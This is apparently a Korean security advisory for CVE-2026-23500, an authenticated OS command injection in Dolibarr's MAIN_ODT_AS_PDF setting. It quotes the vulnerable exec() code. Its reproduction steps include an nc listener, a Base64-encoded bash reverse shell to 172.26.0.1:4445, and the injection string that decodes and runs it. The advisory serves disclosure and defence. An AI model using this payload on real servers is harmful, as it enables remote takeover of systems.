
CVE-2026-23500 - Dolibarr의 MAIN_ODT_AS_PDF 구성을 통한 OS 명령 주입 (RCE)
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-23500 |
| 심각도 | CRITICAL |
| 보안 권고 | GHSA-w5j3-8fcr-h87w |
| 발견자 | Lukasz Rybak |
인증된 관리자가 MAIN_ODT_AS_PDF 구성 상수에 악성 페이로드를 주입하여 임의의 운영 체제 명령을 실행할 수 있습니다. 이 취약점은 ODT를 PDF로 변환하는 과정에서 애플리케이션이 exec() 함수에 명령 경로를 전달하기 전에 이를 제대로 검증하거나 이스케이프하지 않기 때문에 발생합니다.
이 취약점은 htdocs/includes/odtphp/odf.php에 있습니다.
시스템이 ODT 문서를 PDF로 변환하려고 할 때(예: 견적서, 청구서), MAIN_ODT_AS_PDF 전역 설정을 사용하여 셸 명령을 구성합니다.
코드 스니펫 (htdocs/includes/odtphp/odf.php, 약 930번째 줄):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
$name 파일 이름은 escapeshellcmd()를 사용하여 검증되지만, 구성 변수 MAIN_ODT_AS_PDF는 데이터베이스에서 직접 가져와 문자열 시작 부분에 연결됩니다. 관리자 권한을 가진 공격자는 이 변수에 명령 구분자(예: ;)와 임의의 명령이 포함되도록 설정할 수 있습니다.
전제 조건:
재현 단계 (리버스 셸):
172.26.0.1, 포트: 4445):nc -lvnp 4445
페이로드를 준비합니다. 특수 문자(예: & 또는 >)가 웹 애플리케이션이나 셸에 의해 이스케이프되는 문제를 피하기 위해 리버스 셸 명령을 Base64로 인코딩합니다:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
**홈(Home) -> 설정(Setup) -> 기타 설정(Other Setup)**으로 이동합니다.
다음 주입 페이로드로 MAIN_ODT_AS_PDF 상수를 추가하거나 수정합니다:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(설명: jodconverter는 초기 검사를 통과하고, ;는 명령 구분자 역할을 하며, 파이프라인이 Base64 페이로드를 디코딩하여 실행합니다).
**거래(Commerce) -> 새 견적서(New proposal)**로 이동하여 초안을 만들고 ODT 템플릿(예: generic_proposal_odt)을 선택한 다음 **생성(Generate)**을 클릭합니다.
원격 코드 실행(RCE).
관리자 계정에 접근한 공격자(또는 악의적인 관리자)는 웹 서버 사용자(일반적으로 www-data)의 권한으로 기본 서버에서 임의의 명령을 실행할 수 있습니다. 이를 통해 다음이 가능합니다:
Łukasz Rybak이 보고함
이 CVE는 조정된 취약점 공개 절차에 따라 책임 있는 방식으로 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.